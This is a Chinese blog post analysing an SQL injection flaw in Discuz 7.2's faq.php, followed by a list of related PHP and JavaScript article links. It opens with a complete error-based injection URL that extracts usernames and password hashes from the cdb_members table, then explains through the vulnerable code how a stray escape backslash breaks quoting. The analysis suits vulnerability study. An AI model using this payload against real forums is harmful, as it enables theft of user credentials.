Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
国内php原创论坛
Oct 09 PHP
PHP 防恶意刷新实现代码
May 16 PHP
如何使用PHP计算上一个月的今天
May 23 PHP
初识PHP
Sep 28 PHP
Codeigniter框架实现获取分页数据和总条数的方法
Dec 05 PHP
smarty内置函数foreach用法实例
Jan 22 PHP
PHP的伪随机数与真随机数详解
May 27 PHP
php接口技术实例详解
Dec 07 PHP
php实现微信发红包功能
Jul 13 PHP
PHP设计模式之外观模式(Facade)入门与应用详解
Dec 13 PHP
PHP实现Markdown文章上传到七牛图床的实例内容
Feb 11 PHP
如何在PHP环境中使用ProtoBuf数据格式
Jun 19 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
编写PHP的安全策略
2006/10/09 PHP
基于PHP Web开发MVC框架的Smarty使用说明
2013/04/19 PHP
PHP面向对象教程之自定义类
2014/06/10 PHP
PHP清除字符串中所有无用标签的方法
2014/12/01 PHP
php判断当前用户已在别处登录的方法
2015/01/06 PHP
必须收藏的php实用代码片段
2016/02/02 PHP
PHP超全局变量实现原理及代码解析
2020/09/01 PHP
Jquery 设置标题的自动翻转
2009/10/03 Javascript
js 数值项目的格式化函数代码
2010/05/14 Javascript
基于jQuery制作迷你背词汇工具
2010/07/27 Javascript
Jquery显示和隐藏元素或设为只读(含Ligerui的控件禁用,实例说明介绍)
2013/07/09 Javascript
用jquery中插件dialog实现弹框效果实例代码
2013/11/15 Javascript
jquery提交form表单时禁止重复提交的方法
2014/02/13 Javascript
js截取中英文字符串、标点符号无乱码示例解读
2014/04/17 Javascript
黑帽seo劫持程序,js劫持搜索引擎代码
2015/09/15 Javascript
vue.js入门教程之基础语法小结
2016/09/01 Javascript
jstree单选功能的实现方法
2017/06/07 Javascript
JS获取鼠标坐标并且根据鼠标位置不同弹出不同内容
2017/06/12 Javascript
微信小程序上传图片到服务器实例代码
2017/11/07 Javascript
Vue使用mixins实现压缩图片代码
2018/03/14 Javascript
jQuery+ajax实现动态添加表格tr td功能示例
2018/04/23 jQuery
Vue列表如何实现滚动到指定位置样式改变效果
2020/05/09 Javascript
通过高德地图API获得某条道路上的所有坐标用于描绘道路的方法
2020/08/24 Javascript
[01:12:53]完美世界DOTA2联赛PWL S2 Forest vs SZ 第一场 11.25
2020/11/26 DOTA
Python3 修改默认环境的方法
2019/02/16 Python
CSS3中background-clip和background-origin的区别示例介绍
2014/03/10 HTML / CSS
使用html5制作loading图的示例
2014/04/14 HTML / CSS
多视角3D逼真HTML5水波动画
2016/03/03 HTML / CSS
信息专业大学生自我评价分享
2014/01/17 职场文书
公路绿化方案
2014/05/12 职场文书
迎新晚会策划方案
2014/06/13 职场文书
行政部经理助理岗位职责
2014/06/15 职场文书
党员群众路线教育实践活动剖析材料
2014/10/10 职场文书
生活小常识广播稿
2015/08/19 职场文书
人生感悟经典句子
2019/08/20 职场文书
MySQL 表空间碎片的概念及相关问题解决
2021/05/07 MySQL